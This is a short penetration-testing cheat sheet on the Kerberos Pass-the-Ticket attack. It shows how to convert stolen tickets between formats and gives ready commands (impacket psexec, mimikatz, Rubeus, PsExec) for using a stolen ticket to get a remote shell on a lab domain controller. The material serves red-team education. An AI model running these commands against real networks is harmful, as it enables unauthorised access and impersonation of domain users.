Pass the Ticket

Pass The Ticket (PTT)

This kind of attack is similar to Pass the Key, but instead of using hashes to request a ticket, the ticket itself is stolen and used to authenticate as its owner.

Read:

• Harvesting tickets from Windows

• Harvesting tickets from Linux

Swaping Linux and Windows tickets between platforms

The ticket_converter script. The only needed parameters are the current ticket and the output file, it automatically detects the input ticket file format and converts it. For example:

root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

Kekeo, to convert them in Windows. This tool was not checked due to requiring a license in their ASN1 library, but I think it is worth mentioning.

Pass The Ticket Attack

Linux

export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK 
python psexec.py jurassic.park/[e-mail] -k -no-pass

Windows

#Load the ticket in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt [0;28419fe][e-mail]"
.\Rubeus.exe ptt /ticket:[0;28419fe][e-mail]
klist #List tickets in cache to cehck that mimikatz has loaded the ticket
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd